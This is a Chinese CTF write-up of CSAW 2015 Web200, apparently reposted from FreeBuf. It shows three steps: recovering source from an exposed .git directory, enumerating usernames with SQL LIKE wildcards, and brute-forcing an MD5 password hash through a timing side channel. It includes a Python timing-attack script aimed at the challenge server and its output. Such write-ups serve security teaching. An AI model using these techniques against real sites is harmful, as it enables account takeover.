CTF writeup:CSAW CTF 2015 Web200解题过程


发布人:admin分类:网络安全浏览量:32发布时间:2017-12-12

问题

Lawn Care Simulator是一个用来显示小草生长过程的简单网页应用。它包含了许多有价值的内容,但是需要我们进行登录才能获取。

然而,无法进行注册操作,如果我们不能进行注册那么就没有其他方法去登录。

0×01 探寻.git仓库

从index.html的源代码中我们发现有一个AJAX请求Git仓库,接着我们可以在远程服务器利用.git文件。

随着下面SHA-1 Git objects hash,我们可以找到并下载源文件(不幸的是,并非全部)。

下面为哈希树:

$ git cat-file -p aa3025bdb15120ad0a2558246402119ce11f4e2e
tree 731924d14616f3f95c1d75e822a6a97a69f1a32f
author John G <john@lawncaresimulator2015thegame.com> 1442602067 +0000
committer John G <john@lawncaresimulator2015thegame.com> 1442602067 +0000
I think I'll just put mah source code riiiiighhhht here. Perfectly safe place for some source code.

以及内容树:

$ git cat-file -p 731924d14616f3f95c1d75e822a6a97a69f1a32f
100644 blob 4bcb0b3cf55c14b033e3d7e0a94b6025f6956ec7    ___HINT___
100644 blob 43d1df004d9cf95f2c5d83d2db3dcf887c7a9f2f    index.html
100644 blob 27d808506876eeb41d6a953ac27f33566216d25f    jobs.html
040000 tree 220a9334b01b77d1ac29b7fd3a35c6a18953a96d    js
100644 blob 73009145aac48cf1d0e72adfaa093de11f491715    premium.php
100644 blob 8e4852023815dc70761e38cde28aebed9ec038e3    sign_up.php
100644 blob 637c8e963a5fb7080ff639b5297bb10bca491bda    validate_pass.php

文件提示中没有任何有用的信息,但是我们可以先分析下一些文件的源代码,几分钟之后我们基本上确定了几个关键点。

1.注册页面无法正常工作,但是我们可以试着猜测/寻找已经注册好的帐号。

$user = mysql_real_escape_string($_POST['username']);    
// check to see if the username is available    
$query = "SELECT username FROM users WHERE username LIKE '$user';";    
$result = mysql_query($query) or die('Query failed: ' . mysql_error());    
$line = mysql_fetch_row($result, MYSQL_ASSOC);    
if ($line == NULL){        
    // Signing up for premium is still in development        
echo '<h2 style="margin: 60px;">Lawn Care Simulator 2015 is currently in a private beta. Please check back later</h2>';    
}    
else {        
    echo '<h2 style="margin: 60px;">Username: ' . $line['username'] . " is not available</h2>";    
}

2.登录页面正常工作,但我们需要找到正确的用户名并尝试通过身份验证,最后进入后台拿到旗子。

require_once 'validate_pass.php';    
require_once 'flag.php';    
if (isset($_POST['password']) && isset($_POST['username'])) {        
    $auth = validate($_POST['username'], $_POST['password']);         
    if ($auth){            
        echo "<h1>" . $flag . "</h1>";        
    }        
    else {            
        echo "<h1>Not Authorized</h1>";        
        }    
}    
else {        
    echo "<h1>You must supply a username and password</h1>";    
    }

0×02 寻找用户名

从sign_up.php中找到以下几行:

$user = mysql_real_escape_string($_POST['username']);    
// check to see if the username is available    
$query = "SELECT username FROM users WHERE username LIKE '$user';";

mysql_real_escape_string()在这里是不能够进行SQL注入的,但正如我们看到的,我们可以尝试使用类似(% 或者 _)的特殊字符来绕过mysql_real_escape_string()

所以当我们尝试使用%%作为用户名进行注册,得到下面的截图。

相当于我们目前已经有用户名了,接着便是寻找密码了。

0×03 bruteforce密码验证

这个密码验证方式第一次遇到,有点棘手

if (strlen($pass) != strlen($hash))        
    return False;    
    
$index = 0;    
while($hash[$index]){        
    if ($pass[$index] != $hash[$index])            
        return false;        
    # Protect against brute force attacks        
    usleep(300000);        
    $index+=1;    
}    
return true;

$hash的值来源于DB,$pass是来源于登录表单的密码进行MD5加密的hash值。首先检测长度,如果$pass的长度与$hash的长度不相等,验证直接返回false。因此,即使我们绕过了登录表单也需要发送32个字符(MD5 Hash)。

如果$hash和$pass相等,接着脚本一个字符一个字符检测,一阶差分之后返回正确与否。如果字符相同,等待0.3秒后检查下一个字符,这也是为什么我们选择bruteforce这个验证的原因了。

假设验证每个正确的字符与检查下一个字符之间有0.3秒的时间,我们可以在MD5字符串中从首字符开始比较所有的单个字符(在本例中有少许16进制数字)。为此我写了一个简单Python脚本,它只是从0~f(16进制)创建32个字符的字符串并发送到服务器。

#!/usr/bin/python

import requests
import sys

headers = {    
    "Referer": "http://54.175.3.248:8089/",    
    "Content-type": "application/x-www-form-urlencoded",    
    "Host": "54.175.3.248:8089"
}

def send_request(current_password):
    payload = {"username": "~~FLAG~~", "password": current_password}
    
    r = requests.post("http://54.175.3.248:8089/premium.php", headers=headers,                      data=payload)    
    return r.elapsed.total_seconds()
    
charset = "abcdef0123456789"
final_password = sys.argv[1]

current_password = ""
s = ""
for c in charset:
    current_password = final_password + c + "-" * (31 - len(final_password))    
    # send payload and check response time, avg from 3 probes
    print "sending payload with password: {}".format(current_password)
    t = send_request(current_password)    
    print "time for {} - {}".format(c, t)
    
final_password += s
print "\n\ncurrent final password: {} ({} chars)\n\n".format(final_password,                                                             len(
                                                                    final_password))

花了些时间,但最后我还是从FLAG用户名密码的MD5 hash中找到10个首字符。当我发送我获得的旗子,下面控制台输出的是样本尝试667后面的字符,脚本显示第4个字符'e'超过了平均时间,后面那个脚本输出是从667e217666开始,时间没有改变。

$ ./pass_time_check.py 667
sending payload with password: 667a----------------------------
time for a - 1.206054
sending payload with password: 667b----------------------------
time for b - 1.1628
sending payload with password: 667c----------------------------
time for c - 1.123849
sending payload with password: 667d----------------------------
time for d - 1.123673
sending payload with password: 667e----------------------------
time for e - 1.533342
sending payload with password: 667f----------------------------
time for f - 1.123596
sending payload with password: 6670----------------------------
time for 0 - 1.12424
sending payload with password: 6671----------------------------
time for 1 - 1.139995
sending payload with password: 6672----------------------------
time for 2 - 1.209023
sending payload with password: 6673----------------------------
time for 3 - 1.122856
sending payload with password: 6674----------------------------
time for 4 - 1.123731
sending payload with password: 6675----------------------------
time for 5 - 1.124603
sending payload with password: 6676----------------------------
time for 6 - 1.122691
sending payload with password: 6677----------------------------
time for 7 - 1.12402
sending payload with password: 6678----------------------------
time for 8 - 1.123192
sending payload with password: 6679----------------------------
time for 9 - 1.1241
$ ./pass_time_check.py 667e217666
sending payload with password: 667e217666a---------------------
time for a - 3.317382
sending payload with password: 667e217666b---------------------
time for b - 3.274132
sending payload with password: 667e217666c---------------------
time for c - 3.376334
sending payload with password: 667e217666d---------------------
time for d - 3.273846
sending payload with password: 667e217666e---------------------
time for e - 3.274608
sending payload with password: 667e217666f---------------------
time for f - 3.27328
sending payload with password: 667e2176660---------------------
time for 0 - 3.213485
sending payload with password: 667e2176661---------------------
time for 1 - 3.234123
sending payload with password: 667e2176662---------------------
time for 2 - 3.272356
sending payload with password: 667e2176663---------------------
time for 3 - 3.274707
sending payload with password: 667e2176664---------------------
time for 4 - 3.27386
sending payload with password: 667e2176665---------------------
time for 5 - 3.272986
sending payload with password: 667e2176666---------------------
time for 6 - 3.27506
sending payload with password: 667e2176667---------------------
time for 7 - 3.274545
sending payload with password: 667e2176668---------------------
time for 8 - 3.273122
sending payload with password: 667e2176669---------------------
time for 9 - 3.290462

667e217666响应时间不再改变后,我决定添加了一些随机字符试试:

最后获得flag:gr0wth__h4ck!nG!1!1!

我没搞懂为什么在10个字符之后才开始工作,我个人猜测可能是某种预验证机制吧。在代码中我们看不到,并且在CTF夺旗赛中毕竟是看谁最先拿到旗子。

一千个人心中有一千个哈姆雷特,大家多发散思维或许还有其他的思路呢!

激情地址:http://54.165.252.74:8089/

* 参考来源:github,,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)




被黑站点统计 - 文章版权1、本主题所有言论和图片纯属会员个人意见,与本文章立场无关
2、本站所有主题由该文章作者发表,该文章作者与被黑站点统计享有文章相关版权
3、其他单位或个人使用、转载或引用本文时必须同时征得该文章作者和被黑站点统计的同意
4、文章作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
7、被黑站点统计管理员有权不事先通知发贴者而删除本文

免责声明

本站主要通过网络搜集国内被黑网站信息,统计分析数据,为部署安全型网络提供强有力的依据.本站所有工作人员均不参与黑站,挂马或赢利性行为,所有数据均为网民提供,提交者不一定是黑站人,所有提交采取不记名,先提交先审核的方式,如有任何疑问请及时与我们联系.

admin  的文章


微信公众号

微信公众号


Copyright © 2012-2022被黑网站统计系统All Rights Reserved
页面总访问量:21397575(PV) 页面执行时间:66.326(MS)
  • xml
  • 网站地图